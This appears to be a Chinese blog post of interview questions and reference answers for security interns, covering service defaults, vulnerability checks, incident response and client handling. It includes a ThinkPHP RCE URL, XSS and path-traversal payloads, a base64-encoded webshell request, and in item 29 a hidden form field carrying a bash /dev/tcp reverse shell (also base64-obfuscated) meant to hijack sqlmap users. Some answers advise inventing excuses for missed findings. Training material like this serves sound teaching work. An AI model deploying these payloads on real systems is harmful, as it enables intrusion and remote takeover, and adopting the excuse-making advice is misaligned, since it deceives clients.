原創作者：3s_NwGeek
最近我們公司准備有幾個實習生要轉正了，領導讓我親自出一些結合實際安全工作的題目，題目的由來都是從工作中遇到過的問題到解決的的過程中產生的。從簡單到難的題目，既能考到實習生的知識基礎，又能考到他們的學習能力（面對不同未接觸過的難題如何去應對），還有就是情景開放式答題，網上能查到一點資料，但是又需要自己思考的，結合實際工作來回答的。好的話不多說，由簡至難奉上題目，以及參考答案，希望我的工作經驗中發現的問題能幫到大家。
[安全工程師學習參考]
1. Zookeeper默認的端口
三個端口：
1. 2181：對cline端提供服務
2. 3888：選舉leader使用
3. 2888：集群內機器通訊使用（Leader監聽此端口）
[官方文檔]
[參考資料1]
[參考資料2]
2. Zookeeper主要的作用：
開源的、分布式的、應用程序協調服務
[推薦：參考資料1（ZooKeeper是什么）]
[參考資料2（ZooKeeper詳解）]
[參考資料3（漫畫圖解ZooKeeper）]
3. Zookeeper 未授權訪問的檢查方法
telnet zookeeper端口 輸入envi，回顯路徑等信息則存在zookeeper未授權訪問漏洞
4. 請列出讓客戶滿意的Zookeeper未授權訪問漏洞的修復方案
根據客戶實際情況可以提供以下修復方案：
1. 禁止將zookeeper暴露在公網
2. 使用iptables對端口進行訪問控制
3. 添加訪問控制，根據情況選擇對應方式（認證用戶，用戶名密碼）
4. 綁定指定IP訪問
[參考1：]
[參考2：]
5. Weblogic后台默認密碼
weblogic/weblogic
6. weblogic CVE-2019-2725漏洞描述與讓客戶滿意的修復方案
漏洞描述 ： 由於在反序列化處理輸入信息的過程中存在缺陷，未經授權的攻擊者可以發送精心構造的惡意 HTTP 請求，利用該漏洞獲取服務器權限，實現遠程代碼執行。
修復建議 ： 官方目前已發布針對此漏洞的緊急修復補丁，可以采取以下4種方式進行防護。
1. 及時打上官方CVE-2019-2725補丁包
官方已於4月26日公布緊急補丁包，[下載地址：https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline]
2. 升級本地JDK版本
因為Weblogic所采用的是其安裝文件中默認1.6版本的JDK文件，屬於存在反序列化漏洞的JDK版本，因此升級到JDK7u21以上版本可以避免由於Java原生類反序列化漏洞造成的遠程代碼執行。
3. 配置URL訪問控制策略
部署於公網的WebLogic服務器，可通過ACL禁止對/_async/*及/wls-wsat/*路徑的訪問。
4. 刪除不安全文件
刪除wls9_async_response.war與wls-wsat.war文件及相關文件夾，並重啟Weblogic服務。具體文件路徑如下：
__10.3.*版本:__
\Middleware\wlserver_10.3\server\lib\ %DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
__12.1.3版本：__
\Middleware\Oracle_Home\oracle_common\modules\ %DOMAIN_HOME%\servers\AdminServer\tmp\.internal\ %DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
注：wls9_async_response.war及wls-wsat.war屬於一級應用包，對其進行移除或更名操作可能造成未知的后果，Oracle官方不建議對其進行此類操作。若在直接刪除此包的情況下應用出現問題，將無法得到Oracle產品部門的技術支持。請用戶自行進行影響評估，並對此文件進行備份后，再執行此操作。
[參考網站1：https://www.chainnews.com/articles/956692560698.htm](https://www.chainnews.com/articles/956692560698.htm)
[參考網站2：https://www.anquanke.com/post/id/177381#h2-3](https://www.anquanke.com/post/id/177381#h2-3)
6.2
假設現weblogic爆發0day漏洞，weblogic的/vulpath存在漏洞，所有存在http://ip:port/vulpath 路徑的系統均受影響，現已完成目標資產的端口掃描，需要你緊急排查受影響資產，請說說你的做法
假設端口掃描時已有版本識別，挑出所有weblogic服務
挑出weblogic服務存在IP+端口地址后，通過url批量檢測腳本`httpCatcher.py`檢測出是否存在ip:port/vulpath路徑200返回值，返回即為受影響資產
用法為：將IP+端口存在一個ip.txt文件 
然后修改`httpCatcher.py`的路勁改為`/vulpath`
輸入命令`python httpCatcher.py ip.txt 1.csv`即可得到`1.csv`文件，查看即可
7.以下exp是屬於哪個cms的遠程代碼執行漏洞： http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
路徑有關鍵字 __think__ ， 和 __PHP__ ,再使用payload進行查詢可知為 thinkphp 中間件
thinkPHP是國產開源的PHP開發框架，中國使用最多
[參考資料：https://www.jianshu.com/p/5c7ba693b265](https://www.jianshu.com/p/5c7ba693b265)
8.流量分析：webshell流量交互的流量特征有哪些（列舉3個特征來簡略描述）
webshell是用來控制服務器的，在控制服務器的過程中，就會觸發許多 __系統函數__ ,例如eval、z0（菜刀特征）、shell，需監控這些關鍵的函數，具體需要查看是哪個網頁發起的請求進行鑒別
除此之外，webshell連接可能使用 __base64編碼__，正常功能也會使用base64容易引起誤報，一般與eval數量對比，數量差異較小時可能被上傳webshell進行編碼通訊
*除了系統函數、base64編碼通訊外，還存在`int_set("display_errors","0")`, 為webshell流量特征之一*
還可以監控ifconfig whoami ipconfig等關鍵命令，這是獲得webshell后基本上都會執行的命令
9.批量檢查http服務使用什么工具和簡略使用步驟
方法1
直接使用`nmapsV.py`工具即可，用法為`python3 nmapsV.py ip.txt result.txt `
方法2
使用nmap工具掃描，帶上-sV參數進行版本識別即可，將待檢測的IP地址/地址段添加進ip.txt文件中
使用命令`nmap -sV -iL ip.txt -oA OUTPUT --no-stylesheet`
掃出來的結果導出 __nmap文件__，使用`nampReport`工具得出結果
10.假設客戶給到你有50萬個ip，並要求你兩周內做完全端口掃描，你會如何應對或如何實施（從兩方面回答：1.如何對客戶要求做出解釋並合理調整。2.如何提高全端口掃描效率，既保證速度，又保證准確率）
首先客戶提出提出兩周50w個ip全端口這個肯定不現實，所以要考慮跟客戶解釋，有必要對掃描任務進行時間調整，安排盡可能多的掃描資源，如掃描機器，掃描網絡帶寬等
，參考掃描100個IP端口的平均時長，估計掃完的時間，給出30天時間左右答復，並且留出一周進行后續補掃，文檔整理等
使用到 __多線程__ __分布式__ 和 __高並發__ ,采用masscan + nmap
先masscan存活過一遍，把未存活IP剔除掉；使用分布式nmap高並發過一遍端口，也可以massacn端口掃描過一遍，在nmap進行探測
__提高掃描速度__
由於IP數量過多，不能直接把所有的IP都丟上去掃，時間肯定不夠
可以跟客戶商量減少IP數量，對未存活的IP進行篩選過濾
加快掃描速度需要進行參數微調，如`--min-hostgroup`、`--min-rate`和`--min-parallelism`
對於存在防火牆的情況，可以提出需要提供掃描器，最好的牆內掃
__數據整理__
對於大量的list和json使用python-nmap python-masscan，掃描1個IP處理1個IP
__不推薦做法__
老油條混子做法：行，沒問題，別說五十萬個了五百萬個都能完成，接活的時候明確的說時間緊，任務重，可能會存在誤報，問客戶接不接受，接受了就開始掃。
masscan先過一遍，過濾掉一批死ip和只有80，443，8080，8443，等web的
然后高並發，分布式nmap過一批常用端口，把有結果的過濾出來
然后把沒結果再跑一遍全端口，交差
后面扯皮的時候也能扯，前期也明確說了存在誤報
11. 存活性探測的簡要步驟
使用nmap工具進行存活性探測
使用nmap，命令`nmap -sP -n -iL ip.txt -oA OUTPUT --no-stylesheet`
在Linux中使用`cat OUTPUT.gnmap |grep Up |awk ‘{print $2}’ > ip_cunhuo.txt`
即可得到存活IP
12. 條件競爭漏洞原理與舉例
條件競爭漏洞是一種服務器端的漏洞，由於服務器端在處理不同用戶的請求時是並發進行的，因此，如果並發處理不當或相關操作邏輯順序設計的不合理時，將會導致此類問題的發生。
舉個例子，很多web程序都會有上傳文件的功能，頭像和圖像等，服務器肯定會檢查文件是否滿足條件，不滿足的要被刪除
那么問題就在於，如果我們采用大量的並發請求，就傳遞一個生成惡意webshell的圖像，訪問它就可以生成webshell。在上傳完成和安全檢查完成並刪除它的間隙，攻擊者通過不斷地發起訪問請求的方法訪問了該文件，該文件就會被執行，並且在服務器上生成一個惡意shell的文件。至此，該文件的任務就已全部完成，至於后面發現它是一個不安全的文件並把它刪除的問題都已經不重要了，因為攻擊者已經成功的在服務器中植入了一個shell文件，后續的一切就都不是問題了。
[參考鏈接1](https://blog.csdn.net/iamsongyu/article/details/83346260)
[參考鏈接2](https://seaii-blog.com/index.php/2017/04/26/49.html)
[參考鏈接3](https://www.cnblogs.com/0xJDchen/p/5988275.html)
13.假設客戶中了GhostPetya勒索病毒向你咨詢解決方案，請描述需要告訴他應該做些什么，如何去應急處置和善后補救
__13.1 未部署端點安全的終端應急解決方案__
1.做好重要文件的備份工作（非本地備份）。
2.開啟系統防火牆。
3.利用系統防火牆高級設置阻止向445端口進行連接（該操作會影響使用445端口的服務）。
4.打開系統自動更新，並檢測更新進行安裝。
5.停止使用Windows XP、Windows 2003等微軟已不再提供安全更新的操作系統。
6.如無需使用共享服務建議關閉該服務。
__13.2 已部署端點安全的終端應急解決方案__
1.如果用戶已經部署終端管理類產品，可通過終端管理軟件進行內網打補丁。
2.通過主機防火牆關閉入棧流量。主機防火牆關閉到445出棧流量。
3.開啟文件審計，只允許word.exe，explorer.exe等對文件訪問。
__13.3 已經感染應急解決方案__
1.斷開網絡連接，阻止進一步擴散。
優先檢查未感染主機的漏洞狀況（可直接聯系網御星雲公司，提供免費檢測工具使用），做好漏洞加固工作后方可恢復網絡連接。
2.已經感染終端，根據終端數據類型決定處置方式，如果重新安裝系統則建議完全格式化硬盤、使用新操作系統、完善操作系統補丁、通過檢查確認無相關漏洞后再恢復網絡連接。
__預防措施__
打補丁：及時給系統打補丁，修復漏洞。
裝殺軟：安裝殺毒軟件，及時更新病毒庫。開啟防火牆，並升級到最新版本，阻止勒索病毒與其C&C服務器通信。
做備份：定期對重要文件以及數據庫做非本地備份。電腦開啟系統備份，並添加保護（這樣可通過卷影備份將系統恢復到被加密之前的狀態）。
備份恢復：如果事先已對關鍵文件做了備份，在確保已清除病毒情況下可做數據備份恢復。如果卷影備份未被勒索病毒刪除，可通過卷影備份將系統恢復到未感染勒索病毒的時間點。
改密碼：使用長度大於10位的復雜密碼。
加限制：禁用GUEST來賓用戶。盡量不要使用局域網共享，或把共享磁盤設置為只讀屬性，不允許局域網用戶改寫文件。盡量關閉不必要的端口，如： 445、135、139、 3389、5900 。
防釣魚：不要點擊來源不明的郵件以及附件，釣魚郵件是勒索病毒的重要傳播源。
14.請描述我們公司的網絡安全現狀，與改進方案
(非標准答案)
xx公司的網絡安全狀況主要存在以下幾點安全隱患：
1. IP段划分不清
IP段划分不清導致的后果就是資產管理混亂，不明IP過多，可能存在“三無七邊”系統，導致安全隱患
2. 公司疑似存留被人入侵過的痕跡，需要及時排查
3. 公司存在開源社區源代碼泄露情況
__改進方案：__
1. 資產清查
啟用資產清查方案，對存活IP進行認領，收集各個系統安全負責人，統一對各個IP網段進行划分部署
2. 進行安全檢查 + 滲透
資產收集完成以后，對天訊公司進行常規安全檢查，包括：全端口、主機、web和服務器進行基線檢查
對掃描完的結果根據資產收集情況下發給各個負責人進行整改
其外，安全中心團隊安排滲透人員對公司網站進行滲透測試，發現系統脆弱性
3. 源代碼泄露情況自查
使用安全中心團隊搭建的GitHub代碼泄露監控系統進行檢查
15. 如何排查常見挖礦木馬
首先挖礦木馬是占用系統資源進行挖礦行為
常見的遭遇挖礦會有以下行為：
1. 系統響應緩慢
2. CPU/顯卡使用率過高
3. 內存/帶寬占用高
登錄進可疑主機后，可以通過以下方式確認挖礦木馬：
1. 查看進程（系統命ps、ls令有可能被替換）
2. 檢查日志、檢查系統用戶
3. 發現異常文件
[參考鏈接：https://mp.weixin.qq.com/s/FhcoPGXG_udkRCj3AFOmxA?utm_medium=hao.caibaojian.com&utm_source=hao.caibaojian.com](https://mp.weixin.qq.com/s/FhcoPGXG_udkRCj3AFOmxA?utm_medium=hao.caibaojian.com&utm_source=hao.caibaojian.com)
[參考鏈接2：https://blog.csdn.net/bittersweet0324/article/details/80650626](https://blog.csdn.net/bittersweet0324/article/details/80650626)
16.如何清查互聯網暴露面
對於客戶不清楚自己是否還有其他互聯網暴露面的時候，需要先將客戶已知的資產清單收集起來，方便后續對比
對於公網暴露面：
在出口網關設置流量監控工具（wireshark或者自帶防火牆），檢測足夠長的時間以獲得可能存在的暴露IP地址
nmap公網掃描全端口走一波，然后對照已知資產清單即可
nmap全端口掃描命令：`nmap -sV -n -Pn -p- -iL ip.txt -oA OUTPUT --no-stylesheet --min-rate 5000 --max-retries 3`
未認領的資產進行下線關停處理
17.如何檢查mongodb未授權訪問漏洞
方法一：
使用`mangodb_unauth.py`腳本進行處理，將ip地址放進`target.txt`
用法為：`python mangodb_unauth.py target.txt`
方法二：
使用nmap插件，命令為：`nmap -p 27017 --script mongodb-info 192.168.0.1/24`
[參考鏈接：https://lfoder.github.io/2018/04/12/Nmap%E6%89%AB%E6%8F%8F%E4%B8%8E%E5%8F%91%E7%8E%B0%E6%BC%8F%E6%B4%9E%E5%85%A8%E6%8A%80%E5%B7%A7/?tdsourcetag=s_pctim_aiomsg]
18.如何檢測iis短文件名漏洞
方法一：
使用`iis_shortname_Scan.py`腳本進行檢測，
用法：`python IIS_shortname_Scan.py http://www.target.com/`
[參考鏈接：http://www.lijiejie.com/?s=IIS&submit=Search](http://www.lijiejie.com/?s=IIS&submit=Search)
方法二：
使用nmap，命令為`nmap -p 80 --script http-iis-short-name-brute 192.168.0.1/24`
[參考鏈接：https://lfoder.github.io/2018/04/12/Nmap%E6%89%AB%E6%8F%8F%E4%B8%8E%E5%8F%91%E7%8E%B0%E6%BC%8F%E6%B4%9E%E5%85%A8%E6%8A%80%E5%B7%A7/?tdsourcetag=s_pctim_aiomsg](https://lfoder.github.io/2018/04/12/Nmap%E6%89%AB%E6%8F%8F%E4%B8%8E%E5%8F%91%E7%8E%B0%E6%BC%8F%E6%B4%9E%E5%85%A8%E6%8A%80%E5%B7%A7/?tdsourcetag=s_pctim_aiomsg)
19.如何驗證存在xss漏洞
XSS漏洞的原理是：插入語句、改變結果、操縱數據，本質是：用戶輸入的html語句直接輸出，包括了使用不正確的方法去驗證。
挖掘XSS的第一步是找輸入，也就是用戶可以操控代碼的位置
第二步是找輸出，也就是找到第一步用戶輸入的代碼在網頁的何處地方進行了輸出
第三步：構造payload， 通過查看源代碼，構建出payload。如代碼輸出位置在`<td>test</td>`，即可構建出payload：`test</td><svg/onload=console.log(1)><td>`，
最后輸出結果為： `<td>test</td><svg/onload=console.log(1)><td></td>`
20.如何驗證存在任意文件下載的漏洞
一些網站由於業務需求，往往需要提供文件查看或文件下載功能，但若對用戶查看或下載的文件不做限制，則惡意用戶就能夠查看或下載任意敏感文件，這就是文件查看與下載漏洞。
利用條件：
* 存在讀文件的函數
* 讀取文件的路徑用戶可控且未校驗或校驗不嚴
* 輸出了文件內容
任意文件下載和任意文件讀取有着相似的地方：就是都需要路徑
例如
`index.php?f=file:///etc/passwd`
`index.php?f=../index.php`
修復方案：
兩者的修復方案如下：
* 過濾用戶數據，如“/”，“*”,"."等特殊字符
* 更新中間件
* 要下載的文件地址保存至數據庫中。
* 文件路徑保存至數據庫，讓用戶提交文件對應ID或session下載文件。
* 用戶下載文件之前需要進行權限判斷。
* 文件放在web無法直接訪問的目錄下。
* 不允許提供目錄遍歷服務。
* 公開文件可放置在web應用程序下載目錄中通過鏈接進行下載
[參考鏈接](https://www.cnblogs.com/zhaijiahui/p/8459661.html)
21.如何判別web服務器是windows還是linux
方法有許多，
* 方法一：nmap帶上-O參數
* 方法二：查看http報頭Server字段
* 方法三：Windows對於大小寫不敏感，替換某個字母為大寫返回正常為Windows，反之Linux
* 方法四：TTL返回值，TTL為64，有很大可能性為Linux，TTL為128，有很大可能性為Windows，TTL為255，有很大可能性為UNIX（可修改TTL）
[參考鏈接](https://www.zhihu.com/question/20375910)
22.ddos攻擊如何去防范
DDoS分為很多種，對於不同的類型有着不同的應付方式
目前對於低網絡層的DDoS攻擊有一些有效的防護手段，如丟棄第一次SYN包，上流量防護設備，上WAF封禁地址等
比較難纏的是第七層，第八層的CC攻擊，它會找到目標網站上比較消耗資源的關鍵位置，重復發起攻擊以消耗CPU/內存/數據庫IO等資源
目前的應付手段有：優化資源消耗高位置的代碼，增加硬件設備，上雲，購買專業安全公司的安全服務
除此之外，隱藏服務器的真實IP、上雲WAF、CDN、負載均衡等設備，或者暫時將域名解析到公安網警網站等 也是可以作為選擇方案
23. web短信重置密碼有可能有哪幾種繞過方式
1，短信驗證碼可爆破；
2，短信驗證碼顯示在獲取驗證碼請求的回顯中；
3，注冊手機號及短信驗證碼未進行匹配性驗證；
4，用戶名、手機號碼、短信驗證碼三者沒有進行匹配性驗證；
5，短信驗證碼的驗證在本地客戶端進行驗證；
6，重置步驟未進行校驗；
7，重置請求未驗證身份；
8，登陸成功修改密碼功能平行越權；
9，未校驗身份信息的唯一標識cookie信息；
[參考鏈接1：https://www.cnblogs.com/peterpan0707007/p/8721094.html](https://www.cnblogs.com/peterpan0707007/p/8721094.html)
[參考鏈接2：http://www.nxadmin.com/web/1642.html](http://www.nxadmin.com/web/1642.html)
24.假設發現數據庫短時間內查詢異常次數增多，描述sql查詢異常流量分析的思路。
數據庫短時間內查詢增多有可能遭遇到了掃描或者sql注入測試，可以結合流量分析工具進行研判
select 和 union 為數據庫查詢語句特征，當這兩者數量出現次數較多而且差異較小可能存在SQL注入漏洞或正在被掃描器掃描，可監控這兩個關鍵字，但還需要進一步查看具體請求參數
如：
1) 使用wireshark打開抓取后的流量包。
2) 對於抓取到的數據包篩選出HTTP協議包，在統計處篩選出短時間內流量較大的IP
3) 嘗試定位一些基本的注入特征（select、union、()、/*、sleep等）
4) 篩選出可以攻擊IP，分析流量包HTTP流。即可定位
25.假設發現web應用服務器發現文件異常增多，初步懷疑被上傳webshell，描述流量分析溯源的思路。
可利用流量工具進行溯源：
1） 查看eval、z0、shell、whoami等關鍵字，查看出現次數過多的時候，可能需要查看是哪個頁面發起的請求，有可能是webshell
2） 通過WireShark工具快速搜索關鍵字，定位到異常流量包
3） 找出異常IP和所上傳的內容，查看是否為webshell
如何定位到攻擊IP:
1) 首先通過選擇-統計-對話查看流量的走向情況，定位可疑的IP地址
2) 根據定位到的IP地址，嘗試對上傳的webshell進行定位ip.addr == ip && http matches “upload||eval|select|xp_cmdshell”&& http.request.method == “POST”
3) 查找到Webshell后嘗試溯源漏洞位置，http.request.uri contains “webshell.php”，定位到最開始webshell執行或上傳的時候
4) 根據最開始的HTTP上傳包或者其他漏洞特產定位漏洞類型
26.假設滲透時發現服務器開了21，80，445，3306，11211端口，你有什么滲透思路。
1) 針對21端口 21端口開放表明運行這FTP服務，可以嘗試對FTP進行爆破和嘗試匿名anonymous/空登陸。以及使用MS12-073的攻擊嘗試。
2) 80端口對應web服務，可通過信息收集，分析出去中間件類型和版本，后端語言類型。還有CMS類型，看是否可有已知漏洞可利用。若無，對Web站點進行滲透測，查看是否存在注入等漏洞。
3) 445端口對應網絡共享SMB服務，可嘗試利用ms08-067，ms17-010等溢出漏洞對服務器進行攻擊。也可以嘗試使用IPC$進行攻擊
4) 對於3306 mysql端口也可以采用爆破的方式。成功后，可以用mysql寫webshell，或者構造VBS寫入服務器啟動項，帶服務器重啟就可以添加管理員賬號和打開3389端口。
5) 11211端口是memcached服務的端口。memcache默認情況下存在未授權訪問漏洞，telnet ip 就可以獲得服務器敏感信息。對進一步滲透提供幫助 [參考](http://www.anquan.us/static/drops/papers-865.html)[參考](https://help.aliyun.com/knowledge_detail/37553.html)
27.假設滲透時發現服務器開了22，8080，8161，6379端口，你有什么滲透思路。
1) 22端口一般時LINUX服務器的SSH遠程登陸協議，一般也采用爆破的方法。
2) 8088Hadoop Yarn資源管理系統REST API存在未授權漏洞。通過curl -v -X POST申請新的application，構造提交任務后即可在相應目錄生成webshell。
3) 8161運行着Apache ActiveMQ。其Console存在默認端口和默認密碼/未授權訪問(默認密碼為admin:admin)。當ActiveMQ開啟PUT請求時(默認開啟)，構造好Payload(即不存在的目錄)，Response會返回相應的物理路徑信息。ActiveMQ默認開啟PUT方法，當fileserver存在時我們可以上傳jspwebshell。ActiveMQ除了支持PUT協議之外，還支持MOVE協議，可導致任意文件移動漏洞。其還存在CVE-2015-5254 反序列化等漏洞。
4) 6379是redis數據庫的開放端口。Redis因配置不當可以導致未授權訪問。通過連接redis（./redis-cli -h IP），可實現寫入webshell，寫入crontab計划任務反彈shell，以及寫入ssh公鑰，獲取操作系統權限。其端口也可被暴力破解。
28.假設你有服務器的php一句話 webshell，代碼為 `<?php eval($_POST[“cmd”]) ?>` ，現在使用webshell直接構造請求包上傳文件，請給出使用webshell直接上傳文件的請求包。
```
POST /1.php HTTP/1.1
User-Agent: Java/1.8.0_211
Host: 127.0.0.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 800
cmd=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcVXNlcnNcRWxsaW90XERlc2t0b3BccGhwc3R1ZHlccGhwc3R1ZHlfaW5zdGFsbGF0aW9uXFBI%0D%0AUFR1dG9yaWFsXFdXV1w%3DH
```
29. 反滲透思路
假設新手攻擊者想對http://3s_nwgeek.com/test.php 使用kali linux 中的Sqlmap做注入測試，該test.php正常請求包如下：
POST /test.php HTTP/1.1
Host: 3s_nwgeek.com:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Length: 478
Connection: close
test=123
已知新手攻擊者會直接復制post的data使用sqlmap 命令：sqlmap -u http://3s_nwgeek.com/test.php --data “post的data” --dbs --random-agent來進行sql注入漏洞檢測，現在你是網站的開發，你會如何進行反滲透，令攻擊者在輸入測試指令的過程中不經意地執行了你的惡意指令。
其實sqlmap的命令中, 在Linux下的bash命令為: `sqlmap -u http://3s_nwgeek.com/test.php --data “post的data” --dbs --random-agent` 其中如果在命令中插入雙引號中的”!!”或者”!+數字”，會替換成歷史命令，執行”history”命令,就可以知道哪些數字對應哪些命令了。
如果我將”!”放入到http請求中, 執行了`bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked"` 首先雙引號中的!!會被替換成你最近執行的一條歷史命令
上面只是一個例子
那么如果將 **\`** 這個符號插進命令行中, 任何在 **\`\`** 之間的命令，都會被執行
如果我將這些特殊的字符(“!” , “`”…)放到get/post/cookie等http請求參數中，萬一有人用sqlmap去對該網站進行安全測試，而注入參數正好包含了這些特殊字符，那么有意思的事情就產生了
構建的參數如下:
`sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "evilcode"`
例如一個form表單, 代碼如下:
```
<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
```
如果訪問這個頁面, 就會有以下的數據包產生 
這時候如果直接將postdata，復制，粘貼，sqlmap執行之, 就涼了, 就會被執行
```
sqlmap –u "http://sample.com/a=xxx&b=xxx" –data name=Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234
```
bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1這個特征比較明顯，我們可以進行進行編碼一下，可以避開很多問題
```
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjgueHh4Lnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}
```
其中 __\`__ 里面的命令就會被執行
[參考鏈接1:https://www.freebuf.com/sectool/116706.html](https://www.freebuf.com/sectool/116706.html)
[參考2:https://www.freebuf.com/articles/network/116922.html](https://www.freebuf.com/articles/network/116922.html)
30. 某專業公司A公司安全項目，跟專業公司A談妥后完成了外網掃描任務，現在進行內網掃描。由於業務量比較大安排在晚上下班后進行掃描。第一天掃描晚上9點由於不明原因導致A專業公司所有系統無法訪問，被專業公司A的人詢問情況， 第二天檢查原因發現，是因為所有流量是經過VPN到達主機，導致進出口VPN網關堵塞，業務無法正常訪問，請問被專業公司A的人詢問情況如何應急處理？判斷原因並說明后續如何開展掃描任務？
考查應急處理和客戶溝通，首先調解客戶情緒，跟客戶溝通，立馬停止掃描以恢復業務系統正常，並告知A公司進行排查原因，檢查網絡與主機情況。
其次考察網絡知識，既然流量通過VPN會進行堵塞，想辦法繞過此VPN或者降速，這里要求提供內網掃描機器進行掃描即可，但需要吸取上次經驗掃描前進行掃描測試，如在中午休息的時候進行探測性掃描，測壓。然后在晚上再進行掃描，掃描時需要A公司派網管人員幫忙查看系統狀況是否正常。
31. 掃描任務結束后將結果發給A公司，A公司對其中的一類型漏洞表示疑惑：認為自己沒有辦法修復此類漏洞（比較積極的專業公司），向我方詢問，並想要我方幫忙修復漏洞。此場景應該怎么處理？
考察責任划分問題，原則上是不允許直接操作客戶公司的機器，以及 __對於客戶機器權限需要特別謹慎對待（能不要就不要）__, 我們負責解釋漏洞這方面的事宜，並且積極的提供整改建議，並不能直接或者間接操作客戶機器。
其次考驗客戶想讓我們直接修復漏洞的處理方式，這種情況會經常出現在我們的日常工作中，我們要說明職責范圍: 我們只負責解釋漏洞描述和原理以及修復建議，他們負責整改. 我們對系統業務不熟悉，我們親自修復話出現風險和問題也是我們承擔不了的。
32. 安全任務結束后，發還結果給A公司，A公司經過檢查后發現某個漏洞沒有出現在結果里，被遺漏了。經檢查后發現確實是我方當時沒有掃描出來，如何跟客戶解釋和處理？
考察溝通能力， 首先安撫客戶情緒, 直接先給結論不合適，可以先表示我們進行核查后反饋，然后掃描的漏洞進行復掃再分析, 接下來就是找有理有據經得起推敲的理由來合適圓場
先確認該漏洞是否存在
__如果漏洞存在__
也就是我們沒掃出來，就需要檢查當時資產是否存活，是不是關停又開起來，是不是因為當時網絡不好，帶寬不夠大，網絡波動大，外網環境不穩定、WAF攔截等，先穩住客戶情緒，讓客戶相信我們是有能力的，只是偶爾因為不可控因素出現了問題
然后提供補救方案，進行補掃等后續方案
__如果漏洞掃不出來__
換個掃描器，比較差異，如果還是掃不出來的話，就要考慮優化方案，看要不要立個專項檢測來單獨對此漏洞進行批量排查。
如果實在是我們的問題，找不到理由圓場的話，我們就老實承認, 找客戶經理進行溝通，提出不足並且要有改進的方案等, 考慮如何給客戶一個滿意的交代，確保下次不會再出現此類問題
修復話出現風險和問題也是我們承擔不了的。
33. 安全任務結束后，發還結果給A公司，A公司經過檢查后發現某個漏洞沒有出現在結果里，被遺漏了。經檢查后發現確實是我方當時沒有掃描出來，如何跟客戶解釋和處理？
考察溝通能力， 首先安撫客戶情緒, 直接先給結論不合適，可以先表示我們進行核查后反饋，然后掃描的漏洞進行復掃再分析, 接下來就是找有理有據經得起推敲的理由來合適圓場
先確認該漏洞是否存在
__如果漏洞存在__
也就是我們沒掃出來，就需要檢查當時資產是否存活，是不是關停又開起來，是不是因為當時網絡不好，帶寬不夠大，網絡波動大，外網環境不穩定、WAF攔截等，先穩住客戶情緒，讓客戶相信我們是有能力的，只是偶爾因為不可控因素出現了問題
然后提供補救方案，進行補掃等后續方案
__如果漏洞掃不出來__
換個掃描器，比較差異，如果還是掃不出來的話，就要考慮優化方案，看要不要立個專項檢測來單獨對此漏洞進行批量排查。
如果實在是我們的問題，找不到理由圓場的話，我們就老實承認, 找客戶經理進行溝通，提出不足並且要有改進的方案等, 考慮如何給客戶一個滿意的交代，確保下次不會再出現此類問題